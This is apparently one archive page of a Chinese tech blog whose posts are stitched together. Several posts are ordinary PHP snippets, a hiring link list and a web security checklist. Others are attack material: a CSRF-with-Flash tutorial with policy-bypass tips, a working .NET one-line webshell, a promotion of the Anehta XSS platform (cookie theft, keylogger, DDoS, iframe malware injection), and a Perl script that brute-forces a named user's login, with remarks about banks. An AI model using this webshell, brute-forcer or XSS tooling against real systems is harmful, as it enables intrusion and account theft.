工作太忙了,自己也懒,更新速度要慢了,大家包涵。

Insider

Archives

PHP读取汉字点阵数据

背景知识:
简体中文国标字库(1981年订,中国大陆)。7445个字符,其中汉字6773个,包括一级汉字3755个,二级汉字3008个。采用2字节(16位二进制)编码。
区位码:国标GB2312规定,所有的国标汉字与符号组成一个94×94的矩阵。在此方阵中,每一行称为一个”区”,每一列称为一个”位”,因此,这个方阵实际上组成了一个有94个区(区号分别为0 1到94)、每个区内有94个位(位号分别为01到94)的汉字字符集。一个汉字所在的区号和位号简单地组合在一起就构成了该汉字的”区位码”。在汉字的区位码中,高两位为区号,低两位为位号。由此可见,区位码与汉字或符号之间是一一对应的。
内码:汉字的内码是指在计算机中表示汉字的编码。机内码与区位码稍有区别。为什么不直接用区位码作为计算机内的编码呢? 这是因为汉字的区码和位码的范围都在1到94内, 如果直接用区位码作机内码, 就会与基本ASCII码冲突。 汉字的内码通常与所使用的计算机系统有关。目前,对于国内大多数的计算机系统,一个汉字的内码占两个字节,分别称为高位字节与低位字节,且这两位字节与区位码的关系如下: 内码高位=区码 A0H(H表示十六进制) 内码低位=位码 A0H 例如,汉字”啊”的区位码为”1601″,区码和位码分别用十六进制表示即为”1001H”,则它的内码为”B0A1H”。其中B0H为内码的高位字节,A1H为内码的低位字节。
PHP代码:返回由0和1组成的字符串。
[code]/**
* 读取汉字点阵数据
* @Copyright www.xiaocui.cn
*/

$str = "中华人民共和国";

$font_file_name = "simsun12.fon"; // 点阵字库文件名
$font_width = 12; // 单字宽度
$font_height = 12; // 单字高度
$start_offset = 0; // 偏移

$fp = fopen($font_file_name, "rb");

$offset_size = $font_width * $font_height / 8;
$string_size = $font_width * $font_height;
$dot_string = "";

for ($i = 0; $i < strlen($str); $i )
{
if (ord($str{$i}) > 160)
{
// 先求区位码,然后再计算其在区位码二维表中的位置,进而得出此字符在文件中的偏移
$offset = ((ord($str{$i}) - 0xa1) * 94 ord($str{$i 1}) - 0xa1) * $offset_size;
$i ;
}
else
{
$offset = (ord($str{$i}) 156 - 1) * $offset_size;
}

// 读取其点阵数据
fseek($fp, $start_offset $offset, SEEK_SET);
$bindot = fread($fp, $offset_size);

for ($j = 0; $j < $offset_size; $j )
{
// 将二进制点阵数据转化为字符串
$dot_string .= sprintf("b", ord($bindot{$j}));
}
}

fclose($fp);

echo $dot_string;
?>[/code]

手机号码判断php函数

[code]< ?php

function checkMobile($str)
{
$pattern = "/^(13|15)\d{9}$/";
if (preg_match($pattern,$str))
{
Return true;
}
else
{
Return false;
}
}
$str = checkMobile("15800000001");
if($str)
{
echo("符合手机号码标准");
}
else
{
echo("不符合手机号码标准");
}
?>[/code]

php生成条形码的类

[code]< ?php
class cd_barra
{
var $file;
var $into;

var $cd_barras = array(0=>"00110",1=>"10001",2=>"01001",3=>"11000",4=>"00101",
5=>"10100",6=>"01100",7=>"00011",8=>"10010",9=>"01010"
);
function cd_barra($value,$into=1) {
$lower = 1 ; $hight = 50;
$this->into = $into;
for($count1=9;$count1>=0;$count1--){
for($count2=9;$count2>=0;$count2--){
$count = ($count1 * 10) + $count2 ;
$text = "" ;
for($i=1;$i<6;$i++){
$text .= substr($this->cd_barras[$count1],($i-1),1) . substr($this->cd_barras[$count2],($i-1),1);
}
$this->cd_barras[$count] = $text;
}
}

//$img = imagecreate($lower*95+300,$hight+30);
$img = imagecreate(395,73);
$cl_black = imagecolorallocate($img, 0, 0, 0);
$cl_white = imagecolorallocate($img, 255, 255, 255);

imagefilledrectangle($img, 0, 0, $lower*95+1000, $hight+30, $cl_white);

imagefilledrectangle($img, 1,5,1,65,$cl_black);
imagefilledrectangle($img, 2,5,2,65,$cl_white);
imagefilledrectangle($img, 3,5,3,65,$cl_black);
imagefilledrectangle($img, 4,5,4,65,$cl_white);

$thin = 1 ;
if(substr_count(strtoupper($_SERVER['SERVER_SOFTWARE']),"WIN32")){
//O tamanho para windows tem que ser 3
// For windows, the wide bar has = 3
$wide = 3;
} else {
$wide = 2.72;
}
$pos = 5 ;
$text = $value ;
if((strlen($text) % 2) <> 0){
$text = "0" . $text;
}

while (strlen($text) > 0) {
$i = round($this->barra_left($text,2));
$text = $this->barra_right($text,strlen($text)-2);

$f = $this->cd_barras[$i];

for($i=1;$i<11;$i+=2){
if (substr($f,($i-1),1) == "0") {
$f1 = $thin ;
}else{
$f1 = $wide ;
}

imagefilledrectangle($img, $pos,5,$pos-1+$f1,65,$cl_black) ;
$pos = $pos + $f1 ;

if (substr($f,$i,1) == "0") {
$f2 = $thin ;
}else{
$f2 = $wide ;
}

imagefilledrectangle($img, $pos,5,$pos-1+$f2,65,$cl_white) ;
$pos = $pos + $f2 ;
}
}

imagefilledrectangle($img, $pos,5,$pos-1+$wide,65,$cl_black);
$pos=$pos+$wide;

imagefilledrectangle($img, $pos,5,$pos-1+$thin,65,$cl_white);
$pos=$pos+$thin;

imagefilledrectangle($img, $pos,5,$pos-1+$thin,65,$cl_black);
$pos=$pos+$thin;

$this->put_img($img);
}

function barra_left($input,$comp){
return substr($input,0,$comp);
}

function barra_right($input,$comp){
return substr($input,strlen($input)-$comp,$comp);
}

function put_img($image,$file='test.gif'){
if($this->into){
imagegif($image,$this->file);
} else {
header("Content-type: image/gif");
imagegif($image);
}
imagedestroy($image);
}
}

?> [/code]
调用方法
[code]< ?
require_once(classfile.php');
$new_code = new cd_barra('123456789321654951753852',0);
?> [/code]

国内各大网络公司2009校园招聘汇总

即将毕业的和在校学习的同学注意下了:

微软的:http://www.joinms.com/web/howToApply.aspx
腾讯的:http://campus.tencent.com/
迅雷的:http://campus.xunlei.com/
阿里巴巴的:http://campus.chinahr.com/2009/pages/alibaba/jobs.asp
支付宝的:http://campus.chinahr.com/2009/pages/alipay/
淘宝的:http://job.taobao.com/
百度的:http://campus.baidu.com/
网易的:http://campus.163.com/
搜狐的:http://campus.chinahr.com/2009/pages/sohu/
Google的:http://g2009.pincn.com/jobs.html
趋势科技的:http://campus2009.trendmicro.com.cn/

豆瓣网的:http://www.douban.com/campus2009/

其他:
Intel英特尔的:http://campus.chinahr.com/2009/pages/intel/jobs.asp
NVIDIA的:http://www.yingjiesheng.com/job/000/426/jobshow_137.html
EMC的:http://campus.chinahr.com/2009/pages/emc/
AMD的:http://amd.campus.chinahr.com/

CSRF with Flash

[ 目录 ]

0×00 纯属扯淡
0×01 用flash发起CSRF攻击
0×02 超越JavaScript Hijacking
0×03 flash的跨域策略
0×04 绕过flash的跨域策略
0×05 flash的限制措施
0×06 Windows Media Player的隐患
0×07 防范措施
0×08 后记

——————————–

0×00 纯属扯淡

世界变化得太快,一不留神你就落后了。现在看来,CSRF也算老生常谈了,为了有点积极的意义,本文重点介绍一下利用flash进行CSRF攻击的一些手法,希望对你有点启发。
嗯,本期的扯淡话题是,我们老得太快,却明白得太迟。

0×01 用flash发起CSRF攻击

flash功能丰富,当然也有向任意站点发送请求的API,而且发送的请求会继承是当前浏览器的会话——也就是说我们可以利用flash而不是js来控制浏览器向目标URL发送请求,这就实现CSRF了。比如flash8中的loadVariables,flash9中的sendToURL都是可以实现这个功能的(编译的时候本地回放安全性一项要选择“只访问网络”)。
比如以下代码:

import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://www.baidu.com/lake2");
var lake = new URLVariables();
lake = "a=lake2";
url.method = "POST";
url.data = lake;
sendToURL(url);
stop();

编译好之后访问之,你会发现它会向百度POST数据哦,如果你的机器上有baidu.com的cookie,cookie也会发送出去的,这里就可以绕过 IE的隐私安全限制——如果你直接img或者iframe向baidu.com发送数据,呵呵,cookie是会被阻挡的。
我也写了个flash来实现这类攻击,可以参考之前CSRF的文章。

0×02 超越JavaScript Hijacking

JavaScript Hijacking其实也是一种CSRF,不过它着重在利用当前会话身份会拿到以JS形式返回的内容,进而得到JS中出现的敏感数据。一个典型的漏洞场景是,一些为ajax提供JS接口的Web程序,可能会把当前用户的资料输出到JS中。
有了flash问题就简单了很多,因为flash9的URLLoader可以发送请求并得到返回的数据(flash8也有类似的API)。
用以下as代码来演示加载http://www.0×54.org/lake2/flash/get.txt的页面:

import flash.net.*;
var myloader = new URLLoader(new URLRequest("http://www.0×54.org/lake2/flash/get.txt"));
myloader.addEventListener(Event.COMPLETE,test);
myloader.load();
function test(event:Event){
var ResponseText:String = myloader.data;
text1.text = ResponseText;
stop();
}

编译好的flash在这里:http://www.0×54.org/lake2/flash/flashgetdemo.swf,访问之,它会把get.txt的内容显示在flash中。
JavaScript Hijacking只能得到script,而flash这样可以得到整个网页,除了得到敏感信息,还可以绕过那些通过表单元素防御CSRF的策略。比如一些网站把uid放在post的隐藏域中防御CSRF,用第三方的JS无法得到uid,但是却可以用flash来得到页面中的uid。
但是不要高兴得太早,对于这种加载其他页面的情况,flash受到跨域策略的限制。

0×03 flash的跨域策略

adobe为了限制flash加载任意页面,使用了一种跨域策略来进行限制。
所谓的flash跨域策略文件就是在站点根目录的crossdomain.xml,这个XML文件配置当前站点的资源允许来自哪些域的flash加载。当 flash加载一个站点的资源时,如果目标不跟自己一个站点,flash就会自动去访问目标站点跟目录下的crossdomain.xml文件,如果 crossdomain.xml中的allow-access-from domain标签包含flash所在网站,那么flash就可以加载该内容。
一个crossdomain.xml文件可能是这样的:

< ?xml version="1.0"?>




以上策略就是允许来自*.example.com、www.friendOfExample.com和192.0.34.166的flash加载资源。
在站点不存在crossdomain.xml文件的情况,允许flash主动加载目标站点的其他XML文件作为跨域策略文件。比如,flash9中可以使用Security.loadPolicyFile加载目标站点的其他文件作为跨域策略文件。如果没有跨域策略文件许可,那么sorry,flash就不能加载该站点的内容。

0×04 绕过flash的跨域策略

我们要进行CSRF,可能需要获取目标站点某些页面中的内容,这个时候就得想办法绕过flash的跨域策略。
最简单的情况是目标站点本身没有安全意识,允许任意flash加载内容那就没话说了(allow-access-from domain=”*”)。
还有就是目标站点根目录没有crossdomain.xml,那就看看能否找到上传文件的地方传一个同样格式的文件上去,然后用 Security.loadPolicyFile加载之。这里貌似flash有通过Content-Type来判断,所以要文本类型的才有效。
最后一种情况是有crossdomain.xml,而且配置得很好。这个时候就要稍微麻烦一点,那我们就去找它支持flash加载的站点是否可以上传文件,上传我们精心构造的flash就好了。后缀倒无所谓:如果是以object标签调用flash的话任意后缀就可以;以embed调用的话除了jpg、 jpeg、gif等少数后缀不支持外其他都可以。

0×05 flash的限制措施

flash的网络功能太强大,所以它本身也有一套限制措施。那就是在启用flash的标签中设置allowNetworking参数。
allowNetworking 参数有3个值供选择:all、internal、none

·all —— 允许所有的网络 API
·internal —— 不能调用浏览器导航或浏览器交互 API。例如 getURL(flash8) 和 navigateToURL 等。仍然可以向外发请求和加载内容
·none —— 禁止任何网络API。世界清静了,但是flash的功能会被削弱,比如一个flash的MP3播放器就不能用了

每个选项具体禁止哪些函数请参考ActionScript手册。这里要说明的是如果不设置 allowNetworking,默认为all;不通过网页调用而直接访问swf文件,allowNetworking也为all。

0×06 Windows Media Player的隐患

我们可以在网页调用Windows Media Player来播放视频,呃,如果你安装了flash控件,那么Windows Media Player也会播放flash。如果flash中包含向外发送数据的脚本,那么,它也会被执行——大概就类似allowNetworking被设置成了 internal。这是一个绝佳的CSRF载体。
有点麻烦的是,allowNetworking参数限制不住在Windows Media Player中调用的flash——似乎没有什么可以限制到它,对Web程序来说,这个隐患简直是太可怕了。

0×07 防范措施

了解了威胁之后再来看防御手段就再简单不过。
Web程序中可以通过请求的来源进行判断:通过正常页面过来的referer我们已知的,flash过来的请求referer为空或者是swf文件地址(直接发请求的API不带referer,加载页面的API发出的referer是flash文件地址)。另外,flash发送请求的时候也会在HTTP 头中带上x-flash-version标识版本。
在配置方面需要注意:用户可以控制flash地址的地方根据业务特性设置allowNetworking值;尽量不要使用Windows Media Player,开发一套flash播放器吧;站点根目录的crossdomain.xml文件要配置好,尽量精确到子域,缩小被攻击面。
不考虑用户体验的话,特别敏感的地方用图形验证码是最好的。

0×08 后记

新型.net一句话webshell及客户端

软件说明:
程序包 包括一个基于反射的.net 一句话木马,可以插入代码的模式运行。

< %try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["psw"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

客户端 当前插件

文件管理

.net探针

CMDshell

端口转发

制作安全网站的checklist

标有 (*) 的检查项目表示该项是针对相关问题的根本解决方法,应当尽最大努力去完成这些内容。未标 (*) 的项目,表示该项并不能完全消除安全隐患,只是说通过这种方法可以避免发生安全问题。最后一条似乎没什么意思,不翻译了。

1. SQL注射
1. (*) 在组合SQL语句时要使用SQL变量绑定功能
2. (*) 如果数据库不提供变量绑定,那么需要对构成SQL的所有变量进行转义
3. 不要将错误信息原封不动地显示在浏览器中。
4. 为访问数据库的用户设置适当的权限。
2. 操作系统命令行注射
1. (*) 避免使用能启动shell命令的语言
2. 使用的语言如果允许启动shell命令,则需要对该功能的参数种的所有变量进行检查,确保只包含合法的操作
3. 不检查路径名参数/目录遍历
1. (*) 不要将外部传进来的参数直接作为文件名来使用
2. (*) 将打开文件的操作限制在固定的目录中,并禁止文件名中包含路径
3. 为Web服务器上的文件设置正确的访问权限
4. 检查文件名
4. 会话管理的问题
1. (*) 用难以推测的内容作为会话ID
2. (*) 不要在URL中保存会话ID
3. (*) 为https协议中使用的cookie设置secure属性
4. (*) 登录成功后生成新的会话
5. (*) 登录成功后,在会话ID之外再生成一个秘密信息,每次访问页面时都检查之
6. 不使用固定值作为会话ID
7. 将会话ID保存到Cookie中时,要设置有效期限
5. 跨站脚本攻击(XSS)
* 不允许输入HTML内容时的解决方法
1. (*) 输出到页面上的所有内容都要转义
2. (*) 输出URL时仅允许以“http://”或“https://”开头的URL
3. (*) 不要动态生成的内容
4. (*) 不要从外部网站读入样式表
5. 检查输入内容
* 允许输入HTML内容时的解决方法
1. (*) 解析输入的HTML内容,生成解析树,然后提取其中的非脚本部分
2. 使用脚本删除输入的HTML内容中的相关字符串
* 通用解决方法
1. (*) 应答的HTTP头重指定Content-Type的charset属性
2. 为避免Cookie情报泄漏,应禁止Trace方法,并对所有Cookie设置HttpOnly属性
6. 跨站请求伪造(CSRF)
1. (*) 所有页面都通过POST来访问,在前一页面的hidden中随机生成一个信息,提交后的页面检查该信息,正确时才予以执行
2. (*) 执行业务之前再次要求输入密码
3. (*) 确认Referer是否正确,只有正确时才执行
4. 执行重要操作时,向预先设置的邮件地址中发送邮件
7. HTTP头注射
1. (*) 不直接输出HTTP头,而使用运行环境提供的头信息输出API
2. (*) 无法使用API时,要禁止输入的头信息中的换行
3. 删除所有外部输入中的换行
8. 邮件盗用(通过某种手段使邮件发送到攻击者指定的地址)
1. (*) 不使用外部参数作为邮件头信息
2. 必须用外部参数设置头信息时,要删除其中的危险字符。

研究人员揭露Google Apps安全漏洞

Raff表示,Google Maps中一个小小的XSS问题就可能绕过浏览器的同源政策以劫持Google、Gmail或Google Apps的账号。

两名资安研究人员Aviv Raff及Adrian Pastor上周相继指出Google Apps含有安全设计上的漏洞。

Raff在Blog中指出,使用者可以透过许多的Google子网域存取Google的多种网络应用程序,包括Google Maps、Gmail、Google Images、Google News及Google.com等,主要问题在黑客可利用这些跨网域的网络应用程序共享的安全设计漏洞。

所谓的跨网域共享网络应用程序指的是在特定的网域下可以连结其它网络应用程序,例如可在Google Maps网域下使用Google News服务。

Raff表示,因此Google Maps中一个小小的XSS问题就可能绕过浏览器的同源政策(Same origin Policy)以劫持Google、Gmail或Google Apps的账号。

而Pastor则公布了一个相关的概念性验证程序,可用以攻击Google Images中的页框注射(frame injection)漏洞,在Google Images中嵌入一个假的Gmail登入网页,然后使用跨网域的网络应用程序共享漏洞进一步让使用者相信这是一个合法的登入页面。

Raff指出,他在今年4月就发现该漏洞并提报给Google,当时Google表示会调查该漏洞,但随后一直未收到Google的响应,随着Pastor发表该概念性验证程序,他才决定揭露相关的信息以期Google可尽速修补。

Anehta — 新一代的web攻击平台

两个礼拜了,从一开始的激动不已,到现在更加激动不已。
有很多想说,又不知从何说起。那么,还是采取FAQ的形式来向大家介绍吧!
Q: 为什么叫:Anehta ?
A: 因为“雅典娜”的名字是 :athena ,但是这个名字已经被sourceforge上的某人抢了,所以按照“刺氏命名法”,把“athena”反过来,本项目正式命名为: Anehta,中文发音:“阿内塔”
Q: Anehta 项目是做什么的?
A: 简单来说,你可以理解为 AttackAPI + BeEF。 但是Anehta 绝对没有这么简单,因为我实现了很多特有的机制,使得Anehta更加强大以及更加容易扩展。
Q: 没听过什么AttackAPI,还是不知道Anehta是做什么。
A: 更通俗来说,Anehta 就是一个跨站脚本攻击(XSS)的利用平台。
Q:Anehta是用什么语言开发的,对系统有什么要求?
A:由于在一开始就考虑到了通用性、跨平台性、跨浏览器、稳定性、易扩展性,所以Anehta在这方面做的是非常好的。anehta是基于javascript 和 PHP开发的。其中部分用到了 jQuery 框架,虽然anehta 可以独立于jQuery存在,但是考虑到引入jQuery 后,可以大大降低开发模块的成本,所以还是保留了。使用jQuery的另外一个好处就是跨浏览器,因为jQuery 本身是跨浏览器的,所以anehta也很容易做到这点.
使用PHP是因为PHP是当今使用最为广泛的脚本语言之一。(其实有个很不可告人的原因是因为大部分肉鸡都是PHP的吧,嘿嘿,anehta不需要任何perl、python、ruby等脚本支持)
Q:Anehta的架构是什么样的?
A:首先,我使用javascript 实现了一套JS框架,这套框架封装了很多函数和类,是专门用于攻击的一套JS框架。使用这套框架可以非常轻松的开发出威力强大的脚本。这套框架网站开发者也可以使用,可以获得很多强大的功能。
其次,基于这套框架,我开发了许多模块,比如本项目特有的“回旋镖模块”,可以跨域偷取cookie;再比如一个完美的JS键盘记录器等,还有很多功能,我会陆续补充好文档。
再次,anehta拥有非常清晰的结构,XSS后只需要加载一个feed.js,就会自动完成所有工作了。
最后,anehta不是纯客户端的,除了核心的JS攻击框架外,在服务端还利用PHP做了许多处理。
Q:Anehta具有什么特色和优点
A:Anehta 结构清晰,功能是模块化,开发者可以单独为anehta开发各种各样的模块,以满足独特的需求。
模块之间具有低耦合性,互不影响。同时anehta的模块互相之间可以通信。
此外anetha还实现了很多独特、方便的技术。比如hook模块中,实现了可以hook任意js函数的方法。此外利用flash shared objects实现的水印技术也非常独特,即便用户删除了cookie,从IE切换到了Firefox或是Opera,也照样能够识别出是本人. 而回旋镖模块更是能够将反射型的XSS变成持久型的XSS,实时命令模块等都属于基本功能了。不久后我会补全anehta的文档,包括所有API的使用说明。
Anehta 的另一个特色就是会集成flash、java、css等多种hacking技术于一体,虽然目前还只实现了一小部分,但是我会慢慢把他们都做完。
此外,由于服务端的存在,所以Anehta 是一个平台(Platform),而并非一个框架(framework)。服务端设计还存在很大的开发潜力。
Q:为什么要做这样一个项目?
A:可以说是心血来潮,也可以说是游戏之作,但是Anehta确实倾注了我的大量心血。从一开始我就总结了很多需求,思考了很多设计上的东西,所以anehta拥有非常好的架构和可扩展性。我的目的是将anehta做成一个集web攻击大成者的平台,所以anehta会涉及到那么多乱七八糟的技术。
出于精简的目的,我舍弃了很多用处不大的功能,但是anehta还将扩展更多强大和实用的功能。在我看来,anehta的js框架部分已经比attackAPI要好了,功能部分更是远远超过了BeEF和XSS Shell!
Q:Anehta针对哪些用户?
A:本项目是为安全工程师进行渗透测试以及演示脚本漏洞的危害而设计,请勿用作非法用途!本项目遵循GPLv3条款,属于开源项目,任何人可以自由复制、使用或修改本代码,本人概不承担法律责任!
Q:Anehta实现了哪些功能?
A:以下是已经实现的功能列表
* 获取客户端基本信息(浏览器版本/OS version/客户端IP/代理IP/Referer/Request URI);
* Ajax库支持
* 窃取客户端Cookie
* 跨域窃取Cookie(比如我在淘宝上窃取百度的cookie)
* 灵活的XSRF模块
* 客户端DDOS攻击(发起大量请求,CC)
* hook表单提交(Form Sniffer 功能)
* hook 任意javascript 函数;注入任意javascript函数
* 一个优秀的Javascript Keylogger;
* 支持数据加密传输(出于性能考虑,目前暂时使用base64)
* 注入iframe模块(可以实施挂马)
* 模块之间互相通信
* 独特的客户端水印,使得删除cookie、切换浏览器也能识别到用户
* logger虚拟守护进程(定时检查所有模块的输出,并记录到服务器)
窃取剪贴板的内容(仅仅支持IE)
* 客户端地理位置查询
* 在线的web代理,支持自定义cookie访问站点(第三方实现)
* 实时命令模块
* 扫描浏览器的历史记录
一个基于JS的端口扫描器
* 获取客户端软件信息(比如是否安装了QQ、迅雷等)
* 邮件通知模块
Q:Anehta未来会怎么发展?
A:我会持续开发和扩展Anehta,在不久的未来会完善英文文档并对外正式发布。目前计划里的蓝图如下:
Client-Side
* GIFAR支持
ClickJacking/XSIO支持
XSS Worm Module
获取显示器分辨率
钓鱼模块(可以欺骗用户从而获取密码等)
获取客户端真实IP
* 更加强大的扫描模块
JS压缩、变形(让anehta更小巧)
Cross Site Sql Injection 模块(对注射的支持)
* 客户端代理模块(直接利用客户端访问网站,这在攻击内部系统时很有用)
* 检查IM或者网站的登录状态
* 更多的子窗口控制功能
* 调用activex的一些方法
* pipeline(管道功能,具体作用暂且保密)
* 验证码的支持
将大量功能集成到flash和java中
Heap Spray 、 Heap Fengshui 模块,帮助更方便写客户端exploit
升级和传播模块
支持加载第三方攻击库,比如attackAPI
新技术的支持(HTML5,AS3,CSS3等)
……
Serv
er-Side:

* 通过IM自动通知Master
* 通过手机短信自动通知Master
客户端session保持以及session fixation支持
* 良好的多主机管理以及更加友好的界面
feed.js 生成器
* 数据库支持(Mysql 或 sqlite);
更加友好的log输出
Both Client and Server:
* 窃取客户端文件(Ajax Upload)
Anehta还有一些bug和不足,先不列到这里了,我会持续改进,此外由于我对UI和美化一窍不通,所以目前界面还很丑,将就着用吧!
哪位朋友有心也可以帮我写写UI
最后,啰嗦了这么多,是不是等不及了呢?
那么,要看演示的,可以到这里下载录像:
http://www.secwiki.com/anehta/demo/anehtaDEMO.zip
也可以在线观看,不过文件比较大,有20多M
http://www.secwiki.com/anehta/demo/anehta.html
想体验一下? 到这里访问demo页面:
http://www.secwiki.com/anehta/demo.html DEMO页面是一个被XSS的页面
粗陋的后台是在:
http://www.secwiki.com/anehta/admin.php 在这里可以看到被XSS后的结果。
请参考我制作的录像
FF的用户请关闭noscript扩展,拦截了就没得玩了撒
项目首页:
http://anehta.googlecode.com
源代码获取:
http://code.google.com/p/anehta/source/checkout
打包下载:(下次地址变更了,有个文件忘记打包了)
http://anehta.googlecode.com/files/anehta-v0.5.5fixed.zip
镜像:http://anehta.googlecode.com/files/anehta-v0.5.5_fixed_withoutQQWry.zip
QQWry单独下载:(4M, 下载后放到anehta根目录)
http://anehta.googlecode.com/files/QQWry.zip
-EOF-

Perl穷举破解表单密码的实现

Perl是一个异常强大的网络处理工具,而且它的库是相当的多与全面。老同学的网站密码丢了,让我找找看,我就琢磨琢磨学习了一下Perl。
  如果是普通的表单,只需要用Perl自带的LWP库就可以了,但是有些网站会首先检测你的浏览器是否支持Cookies,是否是“真实的”浏览器而不是机器人代理,更有甚者首先检测你的浏览器是否支持脚本,如果不支持脚本是根本不让你浏览任何信息的。这个时候LWP就没有什么用了。
  于是乎我想到了COM,调用Internet Explorer的接口。先用C++实现了一个,速度虽然是快,可是如何获取Document进行网站的反馈判定却成了难题,其中牵涉到一个等待同步的问题,总是出错,一气之下就废了它。去CPAN下载了一个叫做Win32::IEAutomation的库,省得手动初始化COM对象,还要查CSLID等等。guesser脚本很是简单,如下。
[code]use Win32::IEAutomation;

my $low = @ARGV[0];
my $up = @ARGV[1];

if ( $low > $up ){
print "UP LOW ERROR!";
exit 1;
};

my $ie = Win32::IEAutomation->new( visible => 0 );
$ie->gotoURL('http://xiaonei.com/Login.do');
my $user = "papyna\@126.com";
my $time = time;

while( $low < = $up ){
my $pwdstr = "";
$pwdstr = sprintf "\%.6u",$low;
$ie->getTextBox('id:',"email")->SetValue($user);
$ie->getTextBox('id:',"password")->SetValue($pwdstr);
$ie->getButton('id:',"login")->Click;
$ie->WaitforDone;
if( $ie->VerifyText('密码错误') ){
}else{
$time = time - $time;
print "Password Is : ",$pwdstr,"\n";
print $time," Seconds Passed";
exit 0;
};
$low++;
}
print "Not In this range From ",$low," To ",$up,"\n";
exit 0;[/code]
原理很简单,输入一个数字范围,然后一直调用网站的登陆脚本,直到正确的登陆。其实这也牵涉到一个字典的问题,这个就是穷举破解的最大麻烦。不过思想是可以值得借鉴的。速度瓶颈在网络上,机器代码执行得飞快,等待页面反馈太慢。为了,加速,我想到了多线程。通过这个脚本,同时执行多个上述脚本的实例。代码也很简单。
[code]use Win32::Process;
use Win32;

sub ErrorReport{
print Win32::FormatMessage( Win32::GetLastError() );
}

Win32::Process::Create($ProcessObj1,
"C:\\Perl\\bin\\perl.exe",
"perl guesser.pl 870100 870133",
0,
NORMAL_PRIORITY_CLASS,
".")|| die ErrorReport();

Win32::Process::Create($ProcessObj2,
"C:\\Perl\\bin\\perl.exe",
"perl guesser.pl 861095 861231",
0,
NORMAL_PRIORITY_CLASS,
".")|| die ErrorReport();

$ProcessObj1->Wait(INFINITE);
$ProcessObj2->Wait(INFINITE);[/code]

然后就是漫长的等待了,甚至可以听到浏览器的声音,速度缓慢的真是痛苦。不过,破解招商银行网上银行大众版 —— HTTPS连接与加密插件,IE都是内置,只要先安装好,就可以传入URL进行穷举了。不过有个问题就是,验证码。对于这个我还没有实现,不过思路很简单,手动写一个读写图像文件,判断数字的函数,图片可以从IE缓存获得。破解移动联通手机号码密码也可以顺着这个思路来。

  末了提醒大家,就用Google的原则,“不要做恶”。

 Page 3 of 36 « 1  2  3  4  5 » ...  Last »